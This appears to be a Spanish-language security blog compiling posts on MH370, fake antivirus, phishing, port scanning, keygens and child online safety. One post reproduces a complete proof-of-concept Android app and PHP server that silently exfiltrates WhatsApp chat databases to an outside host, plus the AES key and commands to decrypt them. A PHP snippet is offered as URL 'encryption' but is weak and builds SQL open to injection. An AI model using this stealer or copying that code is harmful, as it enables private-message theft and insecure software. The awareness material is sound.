"Hemos llamado a expertos internacionales y nacionales para examinar el simulador del piloto. Hay cierta información borrada y estamos tratando de recuperarla", dijo Hussein.

Fuentes próximas a la investigación indicaron que el programa tiene simulaciones de aterrizajes en Maldivas, Sri Lanka, el sur de India y en la base militar estadounidense de Diego Garcia, datos estos que no fueron confirmados o desmentidos en la rueda de prensa.

El ministro señaló además que han recibido los reportes de revisión de antecedentes de todos los pasajeros extranjeros excepto los de nacionales de Ucrania y Rusia, que eran tres viajeros, y ninguno arrojó datos sospechosos.

Por otro lado, Hussein dijo que "no es cierto" que un avión que habría sido avistado volando bajo en Maldivas en la mañana del 8 de marzo sea el vuelo 370 de Malaysia Airlines.
Un grupo de manifestantes irrumpió hoy poco antes del comienzo de la conferencia y desplegó una pancarta en chino en la que exigía más información en torno al misterioso caso.

"Estamos aquí desde hace 12 días y nadie nos ha dado ninguna información", se leía en la pancarta de cinco metros de largo portada por cinco manifestantes que fueron sacados de la sala por personal de seguridad.

El vuelo 370 de Malaysia Airlines que llevaba 239 personas a bordo se perdió el 8 de marzo mientras viajaban de Kuala Lumpur a Beijing y desde entonces no se sabe nada de él ni se han encontrado restos.

Un total de 26 naciones participan en su búsqueda en dos corredores, uno que se extiende desde Indonesia hasta el sur de océano Índico y otro que abarca desde el norte de Tailandia hasta Kazajistán y Turkmenistán.

Comisión para la información


El grupo de familiares de viajeros chinos que iban a bordo del MH370 desaparecido y que esperan noticias en un hotel de Pekín creó hoy una comisión para trasladar sus quejas por la falta de información y anunció que nombrarán un vocero para los medios.

"La comisión reunirá las opiniones de cada uno de los familiares y expresaremos las peticiones comunes", explicó hoy uno de estos familiares a un grupo de periodistas.

Agotados y angustiados tras once días de espera, los familiares han decidido de esta forma organizarse para hablar con la prensa apostada en el hotel Lido de Pekín, donde cada día la compañía les informa en varias reuniones de los avances de la investigación.

Algunos familiares amenazaron ayer con protagonizar una huelga de hambre hasta que responsables del Gobierno de Malasia se personen en Pekín y les ofrezcan información detallada sobre la investigación, ya que consideran que se están "ocultando datos".

"La compañía, Malaysia Airlines, esconde algo, en realidad ellos saben dónde está el avión", denunció un hombre de unos 50 años, quien no pudo contener las lágrimas.

"No podemos continuar así, en esta espera, dejando que el Gobierno de Malasia nos trate como quiera", añadió.

En cambio, destacó su conformidad con los esfuerzos que realiza Pekín para encontrar el aparato, en el que viajaban 239 personas, de ellas 154 ciudadanos chinos procedentes de diversos puntos del país.


Fuente: La Nación
Via: http://blog.segu-info.com.ar/2014/03/borraron-archivos-del-simulador-de.html#axzz2wMOrEk2k

Actualización de seguridad para Shockwave Player


adobe-shockwave-player1

Adobe ha publicado un nuevo boletín de seguridad (APSB14-10) para solucionar una vulnerabilidad crítica en Shockwave Player.


Shockwave es la tecnología desarrollada inicialmente por Macromedia y posteriormente comprada y ampliada por Adobe para la creación y reproducción de contenidos multimedia y juegos. Se trata de un plugin para navegadores que no debe confundirse con Flash. En cierta manera, es menos popular pero más potente a la hora de desarrollar gráficos y juegos. Como ocurre con Java, muchos usuarios puede que lo tengan instalado en sus navegadores pero realmente no lleguen a usarlo a menudo si no visitan habitualmente páginas que lo requieran.


La vulnerabilidad (con CVE-2014-0505) está relacionada con un problema de corrupción de memoria que podría permitir a un atacante la ejecución remota de código arbitrario. El problema afecta las versiones de Adobe Shockwave Player 12.0.9.149 y anteriores para plataformas Windows y Macintosh.


Adobe recomienda actualizar a la versión 12.1.0.150 de Shockwave Player, disponible desde:



Más información:


Security update available for Adobe Shockwave Player



Via: http://unaaldia.hispasec.com/

Falsos Antivirus - Rogue

¡Que no te engañen!


Bajo la promesa de solucionar falsas infecciones o problemas de protección de un equipo, los rogue son sitios web o programas que simulan ser una aplicación de seguridad, pero que en realidad tienen oscuras intenciones e infectaran el sistema nada mas al ser instalados. En la mayoría de los casos son falsos antivirus y no suelen realizar análisis reales ni mucho menos eliminar virus, simplemente informan que se encuentran cientos de amenazas en el equipo. Cuando se trata de eliminar dichas amenazas utilizando la aplicación, se pide al usuario que compren la correspondiente licencia. A menudo, los usuarios, preocupados por la supuesta infección, acaban adquiriendo la licencia. Una vez pagan la licencia, no vuelven a saber nada más del supuesto “vendedor” y siguen teniendo el falso antivirus en su ordenador.


El objetivo de los delincuentes es obtener beneficio económico mediante estos falsos programas y les resulta muy fácil de desarrollar este tipo de software, ya que los programas sólo muestran unas pocas pantallas y unos cuantos mensajes falsos para engañar al usuario.


Por ejemplo, se podría mostrar una pantalla como la siguiente, simulando una exploración del sistema, cuando en realidad son simples imágenes (no dañinas).


progressbar

Luego de esta supuesta exploración, se podría mostrar un resultado como el siguiente:

resultado_scan

Características de los Rogue:


Además de robar dinero de los usuarios, muchos falsos antivirus comparten las mismas características:




  • Muestran falsos avisos emergentes, lanzan mensajes desde la barra de tareas y modifican el salvapantallas y el escritorio

  • Su diseño es parecido al de un antivirus real

  • Completan un análisis del sistema con gran rapidez

  • Las “infecciones” detectadas hacen referencia a distintos archivos en cada análisis.


Por si esto no fuese suficiente, los falsos antivirus modifican el sistema operativo para evitar que se eliminen los falsos avisos que muestran. El objetivo de estas técnicas es acabar con la paciencia de los usuarios para que finalmente registren el producto y paguen la cuota correspondiente.




[caption id="attachment_1331" align="aligncenter" width="577"]Algunos falsos antivirus Algunos falsos antivirus[/caption]

Por último dejo un video educativo proporcionado por ESET:
[youtube http://www.youtube.com/watch?v=kUYY5yIuAGc&w=560&h=315]

PHP - Encriptar cadenas para urls

Aquí dejo una función realizada en PHP para encriptar cadenas y así mantener un poco la seguridad de nuestras aplicaciones al pasar parámetros en las urls. La idea es encriptar el valor de identificadores sensibles ?id=123 para que estas no estén expuestas en bruto; posterior a eso desencriptarla al ser recibida tras un $_REQUEST. Todo esto utilizando base64.

Función de encriptado:
function encrypt($string, $key) {
$result = '';
for($i=0; $i<strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key))-1, 1);
$char = chr(ord($char)+ord($keychar));
$result.=$char;
}
return base64_encode($result);
}

Función de desencriptado:
function decrypt($string, $key) {
$result = '';
$string = base64_decode($string);
for($i=0; $i<strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key))-1, 1);
$char = chr(ord($char)-ord($keychar));
$result.=$char;
}
return $result;
}

El esquema:
$sql="SELECT * FROM usuarios";
$can=mysql_query($sql);
while($dato=mysql_fetch_array($can))
{
$nombre = $can['nombre'];
$id = $can['id'];
}
$id_encriptada = encrypt($id,"mi_llave");
echo "<a href='view.php?id=$id_encriptada'>Ver $usuario</a>";

Por ejemplo aquí en vez de pasar view.php?id=123 podría pasar view.php?id=olakase. Así mantendríamos resguardada la id original de la base de datos.

Al otro lado en view.php
$id_recibida = $_REQUEST[id];
$id_desencriptada = decrypt($id_recibida,'mi_llave');
$sql = "SELECT * FROM usuarios id = '$id_desencriptada';


Aquí ya podríamos realizar la consulta con la id original.

TCP SYN Scanning

  • Cuando dos procesos establecen una comunicación usan el modelo Cliente/Servidor para establecerla. La aplicación del Servidor "escucha" todo lo que ingresa por los puertos.
    La identificación del Servidor se efectúa a través de la dirección IP del sistema en el que se ejecuta y del número de puerto del que depende para la conexión. El Cliente establece la conexión con el Servidor a través del puerto disponible para luego intercambiar datos.
    La información de control de llamada HandShake (saludo) se intercambia entre el Cliente y el Servidor para establecer un dialogo antes de transmitir datos. Los "paquetes" o segmentos TCP tienen banderas que indican el estado del mismo.
    El protocolo TCP de Internet, sobre el que se basa la mayoría de los servicios (incluyendo el correo electrónico, el web y el IRC) implica esta conexión entre dos máquinas. El establecimiento de dicha conexión se realiza mediante lo que se llama Three-Way Handshake ("conexión en tres pasos") ya que intercambian tres segmentos.
    En forma esquemática se tiene:
    Conexion en Tres Pasos
    1. El programa Cliente (C) pide conexión al Servidor (S) enviándole un segmento SYN. Este segmento le dice a S que C desea establecer una conexión.
    2. S (si está abierto y escuchando) al recibir este segmento SYN (activa el indicador) y envía una  autentificación ACK de manera de acuse de recibo a C. Si S está cerrado envía un indicador RST.
    3. C entonces ACKea (autentifica) a S. Ahora ya puede tener lugar la transferencia de datos.

    Cuando las aplicaciones conectadas terminan la transferencia, realizaran otra negociación a tres bandas con segmentos FIN en vez SYN.
    La técnica TCP SYN Scanning, implementa un scaneo de "media-apertura", dado que nunca se abre una sesión TCP completa.
    Se envía un paquete SYN (como si se fuera a usar una conexión real) y se espera por la respuesta. Al recibir un SYN/ACK se envía, inmediatamente, un RST para terminar la conexión y se registra este puerto como abierto.
    La principal ventaja de esta técnica de escaneo es que pocos sitios están preparados para registrarlos. La desventaja es que en algunos sistemas Unix, se necesitan privilegios de administrador para construir estos paquetes SYN.

  • TCP FIN Scanning– Stealth Port Scanning
    Hay veces en que incluso el scaneo SYN no es lo suficientemente "clandestino" o limpio. Algunos sistemas (Firewalls y filtros de paquetes) monitorizan la red en busca de paquetes SYN  a puertos restringidos.
    Para subsanar este inconveniente los paquetes FIN, en cambio, podrían ser capaces de pasar sin ser advertidos. Este tipo de Scaneo está basado en la idea de que los puertos cerrados tienden a responder a los paquetes FIN con el RST correspondiente. Los puertos abiertos, en cambio, suelen ignorar el paquete en cuestión.
    Este es un comportamiento correcto del protocolo TCP, aunque algunos sistemas, entre los que se hallan los de Microsoft®, no cumplen con este requerimiento, enviando paquetes RST siempre, independientemente de si el puerto está abierto o cerrado. Como resultado, no son vulnerables a este tipo de scaneo. Sin embargo, es posible realizarlo en otros sistemas Unix.
    Este último es un ejemplo en el que se puede apreciar que algunas vulnerabilidades se presentan en las aplicación de tecnologías (en este caso el protocolo TCP nacido en los años ´70) y no sobre sus implementaciones. Es más, se observa que una implementación incorrecta (la de Microsoft®) soluciona el problema. 

    "Muchos de los problemas globales de vulnerabilidades son inherentes al diseño original de algunos protocolos"(1).

  • Fragmentation Scanning
    Esta no es una nueva técnica de scaneo como tal, sino una modificación de las anteriores. En lugar de enviar paquetes completos de sondeo, los mismos se particionan en un par de pequeños fragmentos IP. Así, se logra partir una cabecera IP en distintos paquetes para hacerlo más difícil de monitorizar por los filtros que pudieran estar ejecutándose en la máquina objetivo.
    Sin embargo, algunas implementaciones de estas técnicas tienen problemas con la gestión de este tipo de paquetes tan pequeños, causando una caída de rendimiento en el sistema del intruso o en el de la víctima. Problemas de esta índole convierte en detectables a este tipo de ataque.

Fuente: http://www.segu-info.com.ar/ataques/ataques_monitorizacion.htm3-way-hs

Shoulder Surfing

Por más tonto que parezca, el shoulder surfing es una técnica bastante común y consiste en espiar de forma directa a otra persona para obtener información como nombre de usuarios, números PIN y password de cuentas que este utilice. El Surfing explota el error de los usuarios de dejar su login y password anotadas cerca de la computadora (generalmente en post–it adheridos o papelitos bajo el teclado). Cualquier intruso puede pasar por ahí, verlos y memorizarlos para su posterior uso. Otra técnica relacionada al surfing es aquella mediante la cual se ve, por encima del hombro, al usuario cuando teclea su nombre y password.


Cajeros automáticos cuentan con un sofisticado sistema de defensa ante estos posibles ataques , oscureciendo la pantalla más allá del ángulo de visión determinada, solo siendo posible ver la pantalla estando frente a esta. Aunque esto evita que otra persona sepa los datos en pantalla no soluciona el problema de proteges el código de acceso de cuatro dígitos.


De la misma manera cuando pagamos en el supermercado con una tarjeta de débito, estos aparatos cuentan con un escudo de plástico que rodea la parte del teclado y pantalla para evitar miradas indiscretas.


De tal manera siempre hay que estar pendiente de posibles miradas en cuanto a nuestra seguridad de la información este en juego.


Sept 07



Detectando fotos manipuladas

Hoy en día circulaba una hermosa foto de Punta Arenas publicada por la Prensa Austral en Facebook, si bien no soy un experto en fotografía noté algo extraño en la composición de la luz y colores tan fuertes y saturados que me hacían pensar que ´podría haber sido manipulada, por tal motivo decidí llevarla a mi área y hacerle un análisis de tipo forense a dicha imagen y ver que resultados obtenía.

Aclaro desde ya que es difícil hacer un análisis forense de una imagen de facebook puesto que este altera sus valores reales y se pueden obtener dos versiones contra puestas de fotografías iguales, pero aún así se pueden obtener cosas interesantes:

Analizando los metadados se puede apreciar al autor, sin embargo la fotografía ya tiene su nombre en la parte inferior derecha por lo que no es de gran relevancia.

01Si llevamos la fotografía a terreno de software mas especializado podemos apreciar lo siguiente:

02

04

03

Nos aparece que dicha imagen paso por Photoshop versión 3.0 (¿esto es algo antiguo verdad?) y otros software de edición de imágenes donde el QUALITY normal es 071 aquí figura un 080, aunque solo pueda deberse a la inserción del nombre del autor en dicha fotografía y no puede darse un veredicto 100% de que fue retocadada, sin embargo da para analizar más en profundidad dicha imagen.

Que tengan buenas noches :)

Generadores de códigos de activación - Lobos con piel de Oveja

9b77OLa mayoría de nosotros hemos utilizado en más de alguna ocasión un programara generador de códigos de activación o activadores de software, estos programitas maravillosos llamados "crack" que nos salvan de gastar dinero en la adquisición de licencias. pero ¿sabemos lo que realmente esconden estos crack?.

Para mí los crack son lobos disfrazados de ovejas, y lo explicare con un ejemplo:.

Muchos de los que usamos Windows tenemos la necesidad de contar con un software de ofimática y el más común para esta plataforma es el Microsoft Office.

Partamos por el simple hecho que descargamos Microsoft Office 2010 u 2013 de algún torrent o sitio web, ajeno al sitio oficial de Microsoft (que levante la mano y lance la primera piedra quien este libre de pecado). Pues claro, quien tiene la necesidad de bajarlo del proveedor oficial si el torrent o el medio por el que lo descarguemos viene con su lindo "crack" de activación y no tenemos una licencia original para instalarlo.

Ahora, ¿cuántos comprueban el hash de aquella imagen iso descargada? ¡Aja! Aquí llevamos dos puntos importantes:

  1. Software descargado de un sitio no oficial.

  2. No comprobamos el hash del software para conocer su integridad.


Ya aquí la hemos jodido en serio, no sabemos si alguien ha alterado el producto para instalarnos un lindo troyano en nuestro equipo que nos podría espiar para robar nuestros datos y más aún ejecutaremos un "crack" para activar el producto y así asegurarnos de una infección total.

Muchos de los activadores traen consigo el HackTool:Win32/Keygen que puede considerarse como una herramienta útil para generar claves de activación. Pero, ¡atención! que esta herramienta puede utilizarse por delincuentes para difundir códigos maliciosos, troyanos y virus. En realidad, HackTool:Win32/Keygen es una amenaza a la seguridad de la PC.

Me ha tocado realizar escaneos con una versión completamente actualizada de ESSET NOD32 y no es capaz de reconocerla, sin embargo, el Security Essentials si, por lo que si tienes Windows 7, deberías instalarla y ponerla a correr a toda máquina o en su efecto para los usuarios de Windows 8+ activar, el Windows Defender. Tener precaución ante todo, que nunca se sabe que está detrás del ordenador vigilándonos.
De interés:

http://www.remove-pcvirus.com/es/como-quitar-hacktoolwin32-keygen/

Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)

¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos que la aplicación maliciosa haya sido instalada aceptando los permisos para leer la tarjeta SD del dispositivo (android.permission.READ_EXTERNAL_STORAGE).

Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora Bas Bosschert ha publicado una PoC con unas pocas modificaciones.

Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:

<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.

$uploaddir = "/tmp/whatsapp/";

if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . "<br>";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . "<br>";
  echo "Type: " . $_FILES["file"]["type"] . "<br>";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];

  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>

<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>


Después debemos configurar nuestro php.ini para subir ficheros grandes:

...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M



Lo siguiente que necesitamos es crear la aplicación de Android que suba los ficheros de la base de datos de WhatsApp hacia el servidor web. Para ello creamos un proyecto en Eclipse y empezamos modificando el fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >

        <activity
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>


Para la disposición podemos utilizar el diseño predeterminado que crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el tamaño del texto. La subida del fichero ocurre antes de ver el layout, para esta prueba de concepto de esteactivity_main.xml es lo suficientemente bueno:

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >

    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />

</RelativeLayout>

A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:

- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt
package bb.security.whatsappupload;

/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/

import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;

import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;

public class MainActivity extends Activity {

    //A ProgressDialog object
    private ProgressDialog progressDialog;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }

    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }

    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;

        Log.i("FILE", "Filename:\n" + file);

        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;

                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }

        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }

    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{

        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }

        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {

            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";

            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }

        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }

        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }

    }
}

msgstore.db y wa.db son bases de datos sin cifrar utilizados en antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, pero siempre usando la misma clave tanto para cifrar como descifrar: 346a23652a46392b4d73257c67317e352e3372482177652c.

Por lo tanto podremos descifrarla una vez obtenido mediante:

openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c

o mediante el siguiente script en Python:
#!/usr/bin/env python

import sys
from Crypto.Cipher import AES

try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)

key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))


Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas...

Entrada Original: http://www.hackplayers.com/2014/03/aplicacion-android-para-robar-y-leer-whatsapp.html#more

La seguridad informática es un reto para padres y maestros

Es evidente que cada vez se hace más intensivo el uso de la tecnología. Además, en Latinoamérica son cada vez más comunes los programas gubernamentales que dan apoyo a los niños para acceder a la tecnología, lo cual aumenta la cantidad de personas que ingresan a las escuelas con una nueva herramienta, las computadoras.


Conozca los retos que deben enfrentar padres y maestros. Camilo Gutierrez Amaya, especialista de Awraeness & Research de ESET Latinoamérica, nos indica los cinco retos de este año.


El primer reto es que los padres y maestros enseñen a navegar y a distinguir lo realmente útil y aprovechable de Internet, una fuente que puede funcionar de gran ayuda para la consulta de información o puede tornarse ofensivo con algunos contenidos.


El segundo reto es conocer el impacto económico que trae consigo algunos códigos maliciosos, campañas de "phishing" (webs que simulan ser verdaderas pero en realidad son falsas) y sitios web maliciosos, más aún si nuestra información personal está en juego.


Un tercer reto para padres y maestros está relacionado con evitar el grooming, una actividad que tiende a crecer a través del uso intensivo de Internet. Recordemos que el grooming implica que un adulto intente persuadir a un niño, a fin de generar una conexión emocional y un ambiente de “confianza” para que el niño realice actividades sexuales.


El cuarto reto es que los padres y maestros eduquen a los niños acerca del manejo de la privacidad en la red. La finalidad es que los chicos eviten prácticas como el envío de mensajes o fotografías con contenido erótico. Un comportamiento que va en aumento.


Y por último, los maestros y padres deben de instruir sobre el uso responsable de las redes sociales, ya que suelen ser las plataformas habituales de actos de cyberbullying o ciberacoso. Por lo tanto, es importante que tanto padres como docentes estén atentos al comportamiento de los niños para detectar un posible caso e intervenir a tiempo.


Fuente: http://www.elpais.com.uy/vida-actual/seguridad-informatica-reto-padres-maestros.html

Phishing - Suplantación de Identidad

En informática se denomina Phishing a la técnica para suplantar una identidad. Es una de las técnicas más utilizadas por los delincuentes para estafar y obtener información confidencial de un usuario como por ejemplo:

  • contraseñas

  • claves bancarias

  • tarjetas de crédito

  • etc.


El delincuente, conocido como phisher, utilizando técnicas de ingeniería social, se hace pasar por una persona o empresa de confianza en una aparente comunicación oficial electrónica, por lo general un correo electrónico, o algún sistema de mensajería instantánea, redes sociales, a raíz de un malware o incluso utilizando también llamadas telefónicas.

Aquí les dejo unas lindas diapositivas que ilustran la información que se puede llegar a obtener:

[caption id="attachment_1276" align="aligncenter" width="558"]Tipo de información obtenida Tipo de información obtenida[/caption]

[caption id="attachment_1277" align="aligncenter" width="559"]Circuito de un ataque Circuito de un ataque[/caption]

[caption id="attachment_1278" align="aligncenter" width="556"]Cuanto dinero podria sacar un delincuente informático Cuanto dinero podria sacar un delincuente informático[/caption]

 

[caption id="attachment_1279" align="aligncenter" width="553"]¿Como se puede reconocer? ¿Como se puede reconocer?[/caption]

Distinguir un mensaje de phishing de otro legítimo puede no resultar fácil para un usuario que haya recibido un correo de tales características, especialmente cuando es efectivamente cliente de la entidad financiera de la que supuestamente proviene el mensaje.

El campo De: del mensaje muestra una dirección de la compañía en cuestión. No obstante, es sencillo para el estafador modificar la dirección de origen que se muestra en cualquier cliente de correo.

El mensaje de correo electrónico presenta logotipos o imágenes que han sido recogidas del sitio web real al que el mensaje fraudulento hace referencia.

El enlace que se muestra parece apuntar al sitio web original de la compañía, pero en realidad lleva a una página web fraudulenta, en la que se solicitarán datos de usuarios, contraseñas, etc.

Normalmente estos mensajes de correo electrónico presentan errores gramaticales o palabras cambiadas, que no son usuales en las comunicaciones de la entidad por la que se están intentando hacer pasar.

.

Consejos para protegerse del phishing:

 La regla de oro, nunca le entregue sus datos por correo electrónico. Las empresas y bancos jamás le solicitaran sus datos financieros o de sus tarjetas de crédito por correo.

 Si duda de la veracidad del correo electrónico, jamás haga clic en un link incluido en el mismo.

 Si aún desea ingresar, no haga clic en el enlace. Escriba la dirección en la barra de su navegador.

 Si aún duda de su veracidad, llame o concurra a su banco y verifique los hechos.

 Si recibe un email de este tipo de phishing, ignórelo y jamás lo responda.

 Compruebe que la página web en la que ha entrado es una dirección segura ha de empezar con https:// y un pequeño candado cerrado debe aparecer en la barra de estado de nuestro navegador.

 Cerciórese de siempre escribir correctamente la dirección del sitio web que desea visitar ya que existen cientos de intentos de engaños de las páginas más populares con solo una o dos letras de diferencia.

 Si sospecha que fue víctima del Phishing, cambie inmediatamente todas sus contraseñas y póngase en contacto con la empresa o entidad financiera para informarles.

Fuente: http://www.infospyware.com/articulos/que-es-el-phishing/

Ataque a redes de datos IPv6 con Evil Foca

Charla impartida por Chema Alonso de la Empresa Informática 64, para el evento Asegur@itCamp4! que tuvo lugar durante los días 26, 27 y 28 de Octubre de 2012 en El Escorial, Madrid.

[slideshare id=14964403&style=border: 1px solid #CCC; border-width: 1px 1px 0; margin-bottom: 5px; max-width: 100%;&sc=no]